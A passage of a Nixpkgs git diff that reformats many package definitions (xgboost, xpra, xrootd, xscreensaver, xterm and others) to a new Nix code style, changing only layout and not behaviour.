-    ++ (with python3Packages; [
-      python
-      pyyaml
-    ]);
+  nativeBuildInputs = [
+    SDL2
+    meson
+    ninja
+    perl
+    pkg-config
+    which
+    wrapGAppsHook3
+  ]
+  ++ (with python3Packages; [
+    python
+    pyyaml
+  ]);
 
   buildInputs = [
     SDL2
@@ -92,16 +91,15 @@ stdenv.mkDerivation (finalAttrs: {
       --replace 'date -u' "date -d @$SOURCE_DATE_EPOCH '+%Y-%m-%d %H:%M:%S'"
   '';
 
-  preConfigure =
+  preConfigure = ''
+    configureFlagsArray+=("--extra-cflags=-DXBOX=1 -Wno-error=redundant-decls")
+  ''
+  +
+    # When the data below can't be obtained through git, the build process tries
+    # to run `XEMU_COMMIT=$(cat XEMU_COMMIT)` (and similar)
     ''
-      configureFlagsArray+=("--extra-cflags=-DXBOX=1 -Wno-error=redundant-decls")
-    ''
-    +
-      # When the data below can't be obtained through git, the build process tries
-      # to run `XEMU_COMMIT=$(cat XEMU_COMMIT)` (and similar)
-      ''
-        echo '${finalAttrs.version}' > XEMU_VERSION
-      '';
+      echo '${finalAttrs.version}' > XEMU_VERSION
+    '';
 
   preBuild = ''
     cd build
diff --git a/pkgs/by-name/xf/xfitter/package.nix b/pkgs/by-name/xf/xfitter/package.nix
index 821676260249..91dcc64102f4 100644
--- a/pkgs/by-name/xf/xfitter/package.nix
+++ b/pkgs/by-name/xf/xfitter/package.nix
@@ -43,25 +43,24 @@ stdenv.mkDerivation {
     gfortran
     pkg-config
   ];
-  buildInputs =
-    [
-      apfel
-      blas
-      ceres-solver
-      lhapdf
-      lapack
-      libyaml
-      root
-      qcdnum
-      gsl
-      yaml-cpp
-      zlib
-    ]
-    ++ lib.optionals ("5" == lib.versions.major root.version) [
-      apfelgrid
-      applgrid
-    ]
-    ++ lib.optional (stdenv.hostPlatform.libc == "glibc") libtirpc;
+  buildInputs = [
+    apfel
+    blas
+    ceres-solver
+    lhapdf
+    lapack
+    libyaml
+    root
+    qcdnum
+    gsl
+    yaml-cpp
+    zlib
+  ]
+  ++ lib.optionals ("5" == lib.versions.major root.version) [
+    apfelgrid
+    applgrid
+  ]
+  ++ lib.optional (stdenv.hostPlatform.libc == "glibc") libtirpc;
 
   env.NIX_CFLAGS_COMPILE = lib.optionalString (
     stdenv.hostPlatform.libc == "glibc"
diff --git a/pkgs/by-name/xg/xgboost/package.nix b/pkgs/by-name/xg/xgboost/package.nix
index 158bddae2e63..f9ce96ec6c3f 100644
--- a/pkgs/by-name/xg/xgboost/package.nix
+++ b/pkgs/by-name/xg/xgboost/package.nix
@@ -58,17 +58,19 @@ effectiveStdenv.mkDerivation rec {
     hash = "sha256-OwsZ1RzVi6ba+XJqFbIW1Rmqu5OVttBfcpDe84gmQxI=";
   };
 
-  nativeBuildInputs =
-    [ cmake ]
-    ++ lib.optionals effectiveStdenv.hostPlatform.isDarwin [ llvmPackages.openmp ]
-    ++ lib.optionals cudaSupport [ autoAddDriverRunpath ]
-    ++ lib.optionals rLibrary [ R ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals effectiveStdenv.hostPlatform.isDarwin [ llvmPackages.openmp ]
+  ++ lib.optionals cudaSupport [ autoAddDriverRunpath ]
+  ++ lib.optionals rLibrary [ R ];
 
-  buildInputs =
-    [ gtest ]
-    ++ lib.optional cudaSupport cudaPackages.cudatoolkit
-    ++ lib.optional cudaSupport cudaPackages.cuda_cudart
-    ++ lib.optional ncclSupport cudaPackages.nccl;
+  buildInputs = [
+    gtest
+  ]
+  ++ lib.optional cudaSupport cudaPackages.cudatoolkit
+  ++ lib.optional cudaSupport cudaPackages.cuda_cudart
+  ++ lib.optional ncclSupport cudaPackages.nccl;
 
   propagatedBuildInputs = lib.optionals rLibrary [
     rPackages.data_table
@@ -169,20 +171,19 @@ effectiveStdenv.mkDerivation rec {
     in
     "-${builtins.concatStringsSep ":" excludedTests}";
 
-  installPhase =
-    ''
-      runHook preInstall
-    ''
-    # the R library option builds a completely different binary xgboost.so instead of
-    # libxgboost.so, which isn't full featured for python and CLI
-    + lib.optionalString rLibrary ''
-      mkdir -p $out/library
-      export R_LIBS_SITE="$out/library:$R_LIBS_SITE''${R_LIBS_SITE:+:}"
-    ''
-    + ''
-      cmake --install .
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+  ''
+  # the R library option builds a completely different binary xgboost.so instead of
+  # libxgboost.so, which isn't full featured for python and CLI
+  + lib.optionalString rLibrary ''
+    mkdir -p $out/library
+    export R_LIBS_SITE="$out/library:$R_LIBS_SITE''${R_LIBS_SITE:+:}"
+  ''
+  + ''
+    cmake --install .
+    runHook postInstall
+  '';
 
   postFixup = lib.optionalString rLibrary ''
     if test -e $out/nix-support/propagated-build-inputs; then
diff --git a/pkgs/by-name/xi/xiu/package.nix b/pkgs/by-name/xi/xiu/package.nix
index 73e497710209..24f6f3c1a466 100644
--- a/pkgs/by-name/xi/xiu/package.nix
+++ b/pkgs/by-name/xi/xiu/package.nix
@@ -28,13 +28,12 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libopus
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      openssl
-    ];
+  buildInputs = [
+    libopus
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    openssl
+  ];
 
   OPENSSL_NO_VENDOR = 1;
 
diff --git a/pkgs/by-name/xl/xloadimage/package.nix b/pkgs/by-name/xl/xloadimage/package.nix
index 6a94e3ba6ae8..521322736c82 100644
--- a/pkgs/by-name/xl/xloadimage/package.nix
+++ b/pkgs/by-name/xl/xloadimage/package.nix
@@ -38,20 +38,19 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ autoreconfHook ];
 
-  buildInputs =
-    [
-      libX11
-      libXt
-    ]
-    ++ lib.optionals withJpegSupport [
-      libjpeg
-    ]
-    ++ lib.optionals withPngSupport [
-      libpng
-    ]
-    ++ lib.optionals withTiffSupport [
-      libtiff
-    ];
+  buildInputs = [
+    libX11
+    libXt
+  ]
+  ++ lib.optionals withJpegSupport [
+    libjpeg
+  ]
+  ++ lib.optionals withPngSupport [
+    libpng
+  ]
+  ++ lib.optionals withTiffSupport [
+    libtiff
+  ];
 
   # NOTE: we patch the build-info script so that it never detects the utilities
   # it's trying to find; one of the Debian patches adds support for
diff --git a/pkgs/by-name/xl/xlockmore/package.nix b/pkgs/by-name/xl/xlockmore/package.nix
index 857e200f4bac..1c97dd108a8c 100644
--- a/pkgs/by-name/xl/xlockmore/package.nix
+++ b/pkgs/by-name/xl/xlockmore/package.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation rec {
   configureFlags = [
     "--disable-setuid"
     "--enable-appdefaultdir=${placeholder "out"}/share/X11/app-defaults"
-  ] ++ (lib.optional (pam != null) "--enable-pam");
+  ]
+  ++ (lib.optional (pam != null) "--enable-pam");
 
   postPatch =
     let
diff --git a/pkgs/by-name/xn/xnee/package.nix b/pkgs/by-name/xn/xnee/package.nix
index adccf198f2ac..fbd35d936fb1 100644
--- a/pkgs/by-name/xn/xnee/package.nix
+++ b/pkgs/by-name/xn/xnee/package.nix
@@ -40,19 +40,18 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  postPatch =
-    ''
-      for i in `find cnee/test -name \*.sh`; do
-        sed -i "$i" -e's|/bin/bash|${stdenv.shell}|g ; s|/usr/bin/env bash|${stdenv.shell}|g'
-      done
-    ''
-    # Fix for glibc-2.34. For some reason, `LIBSEMA="CCC"` is added
-    # if `sem_init` is part of libc which causes errors like
-    # `gcc: error: CCC: No such file or directory` during the build.
-    + ''
-      substituteInPlace configure* \
-        --replace 'LIBSEMA="CCC"' 'LIBSEMA=""'
-    '';
+  postPatch = ''
+    for i in `find cnee/test -name \*.sh`; do
+      sed -i "$i" -e's|/bin/bash|${stdenv.shell}|g ; s|/usr/bin/env bash|${stdenv.shell}|g'
+    done
+  ''
+  # Fix for glibc-2.34. For some reason, `LIBSEMA="CCC"` is added
+  # if `sem_init` is part of libc which causes errors like
+  # `gcc: error: CCC: No such file or directory` during the build.
+  + ''
+    substituteInPlace configure* \
+      --replace 'LIBSEMA="CCC"' 'LIBSEMA=""'
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/xp/xpar/package.nix b/pkgs/by-name/xp/xpar/package.nix
index 0409a1351b70..f99af41df992 100644
--- a/pkgs/by-name/xp/xpar/package.nix
+++ b/pkgs/by-name/xp/xpar/package.nix
@@ -19,15 +19,15 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [
     autoreconfHook
-  ] ++ lib.optionals stdenv.hostPlatform.isx86_64 [ nasm ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86_64 [ nasm ];
 
-  configureFlags =
-    [
-      "--disable-arch-native"
-      "--enable-lto"
-    ]
-    ++ lib.optional stdenv.hostPlatform.isx86_64 "--enable-x86-64"
-    ++ lib.optional stdenv.hostPlatform.isAarch64 "--enable-aarch64";
+  configureFlags = [
+    "--disable-arch-native"
+    "--enable-lto"
+  ]
+  ++ lib.optional stdenv.hostPlatform.isx86_64 "--enable-x86-64"
+  ++ lib.optional stdenv.hostPlatform.isAarch64 "--enable-aarch64";
 
   meta = {
     description = "Error/erasure code system guarding data integrity";
diff --git a/pkgs/by-name/xp/xpra/package.nix b/pkgs/by-name/xp/xpra/package.nix
index 3d10311d40c4..3aa43b22156e 100644
--- a/pkgs/by-name/xp/xpra/package.nix
+++ b/pkgs/by-name/xp/xpra/package.nix
@@ -120,7 +120,8 @@ buildPythonApplication rec {
     pkg-config
     wrapGAppsHook3
     pandoc
-  ] ++ lib.optional withNvenc cudatoolkit;
+  ]
+  ++ lib.optional withNvenc cudatoolkit;
 
   buildInputs =
     with xorg;
@@ -214,64 +215,61 @@ buildPythonApplication rec {
   # error: 'import_cairo' defined but not used
   env.NIX_CFLAGS_COMPILE = "-Wno-error=unused-function";
 
-  setupPyBuildFlags =
-    [
-      "--with-Xdummy"
-      "--without-Xdummy_wrapper"
-      "--without-strict"
-      "--with-gtk3"
-      # Override these, setup.py checks for headers in /usr/* paths
-      "--with-pam"
-      "--with-vsock"
-    ]
-    ++ lib.optional withNvenc [
-      "--with-nvenc"
-      "--with-nvjpeg_encoder"
-    ];
+  setupPyBuildFlags = [
+    "--with-Xdummy"
+    "--without-Xdummy_wrapper"
+    "--without-strict"
+    "--with-gtk3"
+    # Override these, setup.py checks for headers in /usr/* paths
+    "--with-pam"
+    "--with-vsock"
+  ]
+  ++ lib.optional withNvenc [
+    "--with-nvenc"
+    "--with-nvjpeg_encoder"
+  ];
 
   dontWrapGApps = true;
 
-  preFixup =
-    ''
-      makeWrapperArgs+=(
-        "''${gappsWrapperArgs[@]}"
-        --set XPRA_INSTALL_PREFIX "$out"
-        --set XPRA_COMMAND "$out/bin/xpra"
-        --set XPRA_XKB_CONFIG_ROOT "${xorg.xkeyboardconfig}/share/X11/xkb"
-        --set XORG_CONFIG_PREFIX ""
-        --prefix LD_LIBRARY_PATH : ${libfakeXinerama}/lib
-        --prefix PATH : ${
-          lib.makeBinPath [
-            getopt
-            xorgserver
-            xauth
-            which
-            util-linux
-            pulseaudioFull
-          ]
-        }
-    ''
-    + lib.optionalString withNvenc ''
-      --prefix LD_LIBRARY_PATH : ${nvidia_x11}/lib
-    ''
-    + ''
-      )
-    '';
+  preFixup = ''
+    makeWrapperArgs+=(
+      "''${gappsWrapperArgs[@]}"
+      --set XPRA_INSTALL_PREFIX "$out"
+      --set XPRA_COMMAND "$out/bin/xpra"
+      --set XPRA_XKB_CONFIG_ROOT "${xorg.xkeyboardconfig}/share/X11/xkb"
+      --set XORG_CONFIG_PREFIX ""
+      --prefix LD_LIBRARY_PATH : ${libfakeXinerama}/lib
+      --prefix PATH : ${
+        lib.makeBinPath [
+          getopt
+          xorgserver
+          xauth
+          which
+          util-linux
+          pulseaudioFull
+        ]
+      }
+  ''
+  + lib.optionalString withNvenc ''
+    --prefix LD_LIBRARY_PATH : ${nvidia_x11}/lib
+  ''
+  + ''
+    )
+  '';
 
-  postInstall =
-    ''
-      # append module paths to xorg.conf
-      cat ${xorgModulePaths} >> $out/etc/xpra/xorg.conf
-      cat ${xorgModulePaths} >> $out/etc/xpra/xorg-uinput.conf
+  postInstall = ''
+    # append module paths to xorg.conf
+    cat ${xorgModulePaths} >> $out/etc/xpra/xorg.conf
+    cat ${xorgModulePaths} >> $out/etc/xpra/xorg-uinput.conf
 
-      # make application icon visible to desktop environemnts
-      icon_dir="$out/share/icons/hicolor/64x64/apps"
-      mkdir -p "$icon_dir"
-      ln -sr "$out/share/icons/xpra.png" "$icon_dir"
-    ''
-    + lib.optionalString withHtml ''
-      ln -s ${xpra-html5}/share/xpra/www $out/share/xpra/www;
-    '';
+    # make application icon visible to desktop environemnts
+    icon_dir="$out/share/icons/hicolor/64x64/apps"
+    mkdir -p "$icon_dir"
+    ln -sr "$out/share/icons/xpra.png" "$icon_dir"
+  ''
+  + lib.optionalString withHtml ''
+    ln -s ${xpra-html5}/share/xpra/www $out/share/xpra/www;
+  '';
 
   doCheck = false;
 
diff --git a/pkgs/by-name/xp/xprompt/package.nix b/pkgs/by-name/xp/xprompt/package.nix
index bc10c7b44b66..bf3dab6b1b7e 100644
--- a/pkgs/by-name/xp/xprompt/package.nix
+++ b/pkgs/by-name/xp/xprompt/package.nix
@@ -29,17 +29,16 @@ stdenv.mkDerivation rec {
     libXinerama
   ];
 
-  postPatch =
-    ''
-      sed -i "8i #include <time.h>" xprompt.c
-    ''
-    + (
-      let
-        configFile =
-          if lib.isDerivation conf || builtins.isPath conf then conf else writeText "config.h" conf;
-      in
-      lib.optionalString (conf != null) "cp ${configFile} config.h"
-    );
+  postPatch = ''
+    sed -i "8i #include <time.h>" xprompt.c
+  ''
+  + (
+    let
+      configFile =
+        if lib.isDerivation conf || builtins.isPath conf then conf else writeText "config.h" conf;
+    in
+    lib.optionalString (conf != null) "cp ${configFile} config.h"
+  );
 
   makeFlags = [
     "CC:=$(CC)"
diff --git a/pkgs/by-name/xq/xquartz/package.nix b/pkgs/by-name/xq/xquartz/package.nix
index 7f9b368d1dc0..8b60533add34 100644
--- a/pkgs/by-name/xq/xquartz/package.nix
+++ b/pkgs/by-name/xq/xquartz/package.nix
@@ -77,20 +77,19 @@ let
     sudo launchctl load -w /Library/LaunchAgents/$agentName
     sudo launchctl load -w /Library/LaunchDaemons/$daemonName
   '';
-  fontDirs =
-    [
-      ttf_bitstream_vera
-      freefont_ttf
-      liberation_ttf
-      xorg.fontmiscmisc
-      xorg.fontcursormisc
-    ]
-    ++ lib.optionals unfreeFonts [
-      xorg.fontbhlucidatypewriter100dpi
-      xorg.fontbhlucidatypewriter75dpi
-      xorg.fontbh100dpi
-    ]
-    ++ extraFontDirs;
+  fontDirs = [
+    ttf_bitstream_vera
+    freefont_ttf
+    liberation_ttf
+    xorg.fontmiscmisc
+    xorg.fontcursormisc
+  ]
+  ++ lib.optionals unfreeFonts [
+    xorg.fontbhlucidatypewriter100dpi
+    xorg.fontbhlucidatypewriter75dpi
+    xorg.fontbh100dpi
+  ]
+  ++ extraFontDirs;
   fontsConf = makeFontsConf {
     fontDirectories = fontDirs ++ [
       "/Library/Fonts"
diff --git a/pkgs/by-name/xr/xreader/package.nix b/pkgs/by-name/xr/xreader/package.nix
index bd3bdfacf302..1fec3ecfb664 100644
--- a/pkgs/by-name/xr/xreader/package.nix
+++ b/pkgs/by-name/xr/xreader/package.nix
@@ -58,7 +58,8 @@ stdenv.mkDerivation rec {
   mesonFlags = [
     "-Dmathjax-directory=${nodePackages.mathjax}"
     "-Dintrospection=true"
-  ] ++ (map (x: "-D${x}=true") backends);
+  ]
+  ++ (map (x: "-D${x}=true") backends);
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/xr/xrootd/package.nix b/pkgs/by-name/xr/xrootd/package.nix
index 8773875099d4..1abd4af15106 100644
--- a/pkgs/by-name/xr/xrootd/package.nix
+++ b/pkgs/by-name/xr/xrootd/package.nix
@@ -40,22 +40,22 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-zeyg/VdzcWbMXuCE1RELiyGg9mytfpNfIa911BwqqIA=";
   };
 
-  postPatch =
-    ''
-      patchShebangs genversion.sh
-      substituteInPlace cmake/XRootDConfig.cmake.in \
-        --replace-fail "@PACKAGE_CMAKE_INSTALL_" "@CMAKE_INSTALL_FULL_"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      sed -i cmake/XRootDOSDefs.cmake -e '/set( MacOSX TRUE )/ainclude( GNUInstallDirs )'
-    '';
+  postPatch = ''
+    patchShebangs genversion.sh
+    substituteInPlace cmake/XRootDConfig.cmake.in \
+      --replace-fail "@PACKAGE_CMAKE_INSTALL_" "@CMAKE_INSTALL_FULL_"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    sed -i cmake/XRootDOSDefs.cmake -e '/set( MacOSX TRUE )/ainclude( GNUInstallDirs )'
+  '';
 
   outputs = [
     "bin"
     "out"
     "dev"
     "man"
-  ] ++ lib.optional (externalEtc != null) "etc";
+  ]
+  ++ lib.optional (externalEtc != null) "etc";
 
   nativeBuildInputs = [
     cmake
@@ -64,53 +64,51 @@ stdenv.mkDerivation (finalAttrs: {
     removeReferencesTo
   ];
 
-  buildInputs =
-    [
-      davix
-      curl
-      libkrb5
-      libuuid
-      libxcrypt
-      libxml2
-      openssl
-      readline
-      scitokens-cpp
-      zlib
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      # https://github.com/xrootd/xrootd/blob/5b5a1f6957def2816b77ec773c7e1bfb3f1cfc5b/cmake/XRootDFindLibs.cmake#L58
-      fuse
-    ]
-    ++ lib.filter (lib.meta.availableOn stdenv.hostPlatform) [
-      isa-l # not available on Apple silicon
-      systemd # only available on specific non-static Linux platforms
-      voms # only available on Linux due to gsoap failing to build on Darwin
-    ];
+  buildInputs = [
+    davix
+    curl
+    libkrb5
+    libuuid
+    libxcrypt
+    libxml2
+    openssl
+    readline
+    scitokens-cpp
+    zlib
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    # https://github.com/xrootd/xrootd/blob/5b5a1f6957def2816b77ec773c7e1bfb3f1cfc5b/cmake/XRootDFindLibs.cmake#L58
+    fuse
+  ]
+  ++ lib.filter (lib.meta.availableOn stdenv.hostPlatform) [
+    isa-l # not available on Apple silicon
+    systemd # only available on specific non-static Linux platforms
+    voms # only available on Linux due to gsoap failing to build on Darwin
+  ];
 
   # https://github.com/xrootd/xrootd/blob/master/packaging/rhel/xrootd.spec.in#L665-L675=
-  postInstall =
-    ''
-      mkdir -p "$out/lib/tmpfiles.d"
-      install -m 644 -T ../packaging/rhel/xrootd.tmpfiles "$out/lib/tmpfiles.d/xrootd.conf"
-      mkdir -p "$out/etc/xrootd"
-      install -m 644 -t "$out/etc/xrootd" ../packaging/common/*.cfg
-      install -m 644 -t "$out/etc/xrootd" ../packaging/common/client.conf
-      mkdir -p "$out/etc/xrootd/client.plugins.d"
-      install -m 644 -t "$out/etc/xrootd/client.plugins.d" ../packaging/common/client-plugin.conf.example
-      mkdir -p "$out/etc/logrotate.d"
-      install -m 644 -T ../packaging/common/xrootd.logrotate "$out/etc/logrotate.d/xrootd"
-    ''
-    # Leaving those in bin/ leads to a cyclic reference between $dev and $bin
-    # This happens since https://github.com/xrootd/xrootd/commit/fe268eb622e2192d54a4230cea54c41660bd5788
-    # So far, this xrootd-config script does not seem necessary in $bin
-    + ''
-      moveToOutput "bin/xrootd-config" "$dev"
-      moveToOutput "bin/.xrootd-config-wrapped" "$dev"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      mkdir -p "$out/lib/systemd/system"
-      install -m 644 -t "$out/lib/systemd/system" ../packaging/common/*.service ../packaging/common/*.socket
-    '';
+  postInstall = ''
+    mkdir -p "$out/lib/tmpfiles.d"
+    install -m 644 -T ../packaging/rhel/xrootd.tmpfiles "$out/lib/tmpfiles.d/xrootd.conf"
+    mkdir -p "$out/etc/xrootd"
+    install -m 644 -t "$out/etc/xrootd" ../packaging/common/*.cfg
+    install -m 644 -t "$out/etc/xrootd" ../packaging/common/client.conf
+    mkdir -p "$out/etc/xrootd/client.plugins.d"
+    install -m 644 -t "$out/etc/xrootd/client.plugins.d" ../packaging/common/client-plugin.conf.example
+    mkdir -p "$out/etc/logrotate.d"
+    install -m 644 -T ../packaging/common/xrootd.logrotate "$out/etc/logrotate.d/xrootd"
+  ''
+  # Leaving those in bin/ leads to a cyclic reference between $dev and $bin
+  # This happens since https://github.com/xrootd/xrootd/commit/fe268eb622e2192d54a4230cea54c41660bd5788
+  # So far, this xrootd-config script does not seem necessary in $bin
+  + ''
+    moveToOutput "bin/xrootd-config" "$dev"
+    moveToOutput "bin/.xrootd-config-wrapped" "$dev"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    mkdir -p "$out/lib/systemd/system"
+    install -m 644 -t "$out/lib/systemd/system" ../packaging/common/*.service ../packaging/common/*.socket
+  '';
 
   cmakeFlags = [
     (lib.cmakeFeature "XRootD_VERSION_STRING" finalAttrs.version)
diff --git a/pkgs/by-name/xs/xscreensaver/package.nix b/pkgs/by-name/xs/xscreensaver/package.nix
index 37e373319725..f1fed5447f76 100644
--- a/pkgs/by-name/xs/xscreensaver/package.nix
+++ b/pkgs/by-name/xs/xscreensaver/package.nix
@@ -74,7 +74,8 @@ stdenv.mkDerivation (finalAttrs: {
     perlPackages.LWPProtocolHttps
     perlPackages.MozillaCA
     perlPackages.perl
-  ] ++ lib.optionals withSystemd [ systemd ];
+  ]
+  ++ lib.optionals withSystemd [ systemd ];
 
   postPatch = ''
     pushd hacks
@@ -101,29 +102,28 @@ stdenv.mkDerivation (finalAttrs: {
   # "marbling" has NEON code that mixes signed and unsigned vector types
   env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isAarch "-flax-vector-conversions";
 
-  postInstall =
-    ''
-      for bin in $out/bin/*; do
-        wrapProgram "$bin" \
-          --prefix PATH : "$out/libexec/xscreensaver" \
-          --prefix PATH : "${
-            lib.makeBinPath [
-              coreutils
-              perlPackages.perl
-              xorg.appres
-            ]
-          }" \
-          --prefix PERL5LIB ':' $PERL5LIB
-      done
-    ''
-    + lib.optionalString forceInstallAllHacks ''
-      make -j$NIX_BUILD_CORES -C hacks/glx dnalogo
-      cat hacks/Makefile.in \
-        | grep -E '([a-z0-9]+):[[:space:]]*\1[.]o' | cut -d : -f 1 | xargs make -j$NIX_BUILD_CORES -C hacks
-      cat hacks/glx/Makefile.in \
-        | grep -E '([a-z0-9]+):[[:space:]]*\1[.]o' | cut -d : -f 1 | xargs make -j$NIX_BUILD_CORES -C hacks/glx
-      cp -f $(find hacks -type f -perm -111 "!" -name "*.*" ) "$out/libexec/xscreensaver"
-    '';
+  postInstall = ''
+    for bin in $out/bin/*; do
+      wrapProgram "$bin" \
+        --prefix PATH : "$out/libexec/xscreensaver" \
+        --prefix PATH : "${
+          lib.makeBinPath [
+            coreutils
+            perlPackages.perl
+            xorg.appres
+          ]
+        }" \
+        --prefix PERL5LIB ':' $PERL5LIB
+    done
+  ''
+  + lib.optionalString forceInstallAllHacks ''
+    make -j$NIX_BUILD_CORES -C hacks/glx dnalogo
+    cat hacks/Makefile.in \
+      | grep -E '([a-z0-9]+):[[:space:]]*\1[.]o' | cut -d : -f 1 | xargs make -j$NIX_BUILD_CORES -C hacks
+    cat hacks/glx/Makefile.in \
+      | grep -E '([a-z0-9]+):[[:space:]]*\1[.]o' | cut -d : -f 1 | xargs make -j$NIX_BUILD_CORES -C hacks/glx
+    cp -f $(find hacks -type f -perm -111 "!" -name "*.*" ) "$out/libexec/xscreensaver"
+  '';
 
   passthru.tests = {
     xscreensaver = nixosTests.xscreensaver;
diff --git a/pkgs/by-name/xs/xsimd/package.nix b/pkgs/by-name/xs/xsimd/package.nix
index a96de8723816..9276d76c1a2b 100644
--- a/pkgs/by-name/xs/xsimd/package.nix
+++ b/pkgs/by-name/xs/xsimd/package.nix
@@ -16,23 +16,22 @@ stdenv.mkDerivation (finalAttrs: {
     rev = finalAttrs.version;
     hash = "sha256-qElJYW5QDj3s59L3NgZj5zkhnUMzIP2mBa1sPks3/CE=";
   };
-  patches =
-    [
-      # Fix of https://github.com/xtensor-stack/xsimd/pull/1024 for
-      # https://github.com/xtensor-stack/xsimd/issues/456 and
-      # https://github.com/xtensor-stack/xsimd/issues/807,
-      (fetchpatch {
-        url = "https://github.com/xtensor-stack/xsimd/commit/c8a87ed6e04b6782f48f94713adfb0cad6c11ddf.patch";
-        hash = "sha256-2/FvBGdqTPcayD7rdHPSzL+F8IYKAfMW0WBJ0cW9EZ0=";
-      })
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # https://github.com/xtensor-stack/xsimd/issues/1030
-      ./disable-test_error_gamma.patch
+  patches = [
+    # Fix of https://github.com/xtensor-stack/xsimd/pull/1024 for
+    # https://github.com/xtensor-stack/xsimd/issues/456 and
+    # https://github.com/xtensor-stack/xsimd/issues/807,
+    (fetchpatch {
+      url = "https://github.com/xtensor-stack/xsimd/commit/c8a87ed6e04b6782f48f94713adfb0cad6c11ddf.patch";
+      hash = "sha256-2/FvBGdqTPcayD7rdHPSzL+F8IYKAfMW0WBJ0cW9EZ0=";
+    })
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # https://github.com/xtensor-stack/xsimd/issues/1030
+    ./disable-test_error_gamma.patch
 
-      # https://github.com/xtensor-stack/xsimd/issues/1063
-      ./relax-asin-precision.diff
-    ];
+    # https://github.com/xtensor-stack/xsimd/issues/1063
+    ./relax-asin-precision.diff
+  ];
 
   # strictDeps raises the chance that xsimd will be able to be cross compiled
   strictDeps = true;
diff --git a/pkgs/by-name/xs/xsnow/package.nix b/pkgs/by-name/xs/xsnow/package.nix
index 067bf1a0a100..00cfea9b55da 100644
--- a/pkgs/by-name/xs/xsnow/package.nix
+++ b/pkgs/by-name/xs/xsnow/package.nix
@@ -23,19 +23,18 @@ stdenv.mkDerivation rec {
     pkg-config
     wrapGAppsHook3
   ];
-  buildInputs =
-    [
-      gtk3-x11
-      libxkbcommon
-      libxml2
-      gsl
-    ]
-    ++ (with xorg; [
-      libX11
-      libXpm
-      libXt
-      libXtst
-    ]);
+  buildInputs = [
+    gtk3-x11
+    libxkbcommon
+    libxml2
+    gsl
+  ]
+  ++ (with xorg; [
+    libX11
+    libXpm
+    libXt
+    libXtst
+  ]);
 
   makeFlags = [ "gamesdir=$(out)/bin" ];
 
diff --git a/pkgs/by-name/xt/xterm/package.nix b/pkgs/by-name/xt/xterm/package.nix
index 5eb767f1ff86..2a39cd6fa692 100644
--- a/pkgs/by-name/xt/xterm/package.nix
+++ b/pkgs/by-name/xt/xterm/package.nix
@@ -62,17 +62,17 @@ stdenv.mkDerivation rec {
     "--enable-mini-luit"
     "--with-tty-group=tty"
     "--with-app-defaults=$(out)/lib/X11/app-defaults"
-  ] ++ lib.optional enableDecLocator "--enable-dec-locator";
+  ]
+  ++ lib.optional enableDecLocator "--enable-dec-locator";
 
-  env =
-    {
-      # Work around broken "plink.sh".
-      NIX_LDFLAGS = "-lXmu -lXt -lICE -lX11 -lfontconfig";
-    }
-    // lib.optionalAttrs stdenv.hostPlatform.isMusl {
-      # Various symbols missing without this define: TAB3, NLDLY, CRDLY, BSDLY, FFDLY, CBAUD
-      NIX_CFLAGS_COMPILE = "-D_GNU_SOURCE";
-    };
+  env = {
+    # Work around broken "plink.sh".
+    NIX_LDFLAGS = "-lXmu -lXt -lICE -lX11 -lfontconfig";
+  }
+  // lib.optionalAttrs stdenv.hostPlatform.isMusl {
+    # Various symbols missing without this define: TAB3, NLDLY, CRDLY, BSDLY, FFDLY, CBAUD
+    NIX_CFLAGS_COMPILE = "-D_GNU_SOURCE";
+  };
 
   # Hack to get xterm built with the feature of releasing a possible setgid of 'utmp',
   # decided by the sysadmin to allow the xterm reporting to /var/run/utmp
diff --git a/pkgs/by-name/xv/xvidcore/package.nix b/pkgs/by-name/xv/xvidcore/package.nix
index 6b5e3e212040..6d73196e83ab 100644
--- a/pkgs/by-name/xv/xvidcore/package.nix
+++ b/pkgs/by-name/xv/xvidcore/package.nix
@@ -17,15 +17,14 @@ stdenv.mkDerivation rec {
     sha256 = "1xyg3amgg27zf7188kss7y248s0xhh1vv8rrk0j9bcsd5nasxsmf";
   };
 
-  preConfigure =
-    ''
-      # Configure script is not in the root of the source directory
-      cd build/generic
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Undocumented darwin hack
-      substituteInPlace configure --replace "-no-cpp-precomp" ""
-    '';
+  preConfigure = ''
+    # Configure script is not in the root of the source directory
+    cd build/generic
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Undocumented darwin hack
+    substituteInPlace configure --replace "-no-cpp-precomp" ""
+  '';
 
   configureFlags =
     [ ]
diff --git a/pkgs/by-name/xw/xwayland-run/package.nix b/pkgs/by-name/xw/xwayland-run/package.nix
index 909df171fc13..7b3d1e4d3f12 100644
--- a/pkgs/by-name/xw/xwayland-run/package.nix
+++ b/pkgs/by-name/xw/xwayland-run/package.nix
@@ -17,12 +17,13 @@
   dbus, # Since 0.0.3, mutter compositors run with their own DBUS sessions
 }:
 let
-  compositors =
-    [ weston ]
-    ++ lib.optional withCage cage
-    ++ lib.optional withKwin kdePackages.kwin
-    ++ lib.optional withMutter gnome.mutter
-    ++ lib.optional withDbus dbus;
+  compositors = [
+    weston
+  ]
+  ++ lib.optional withCage cage
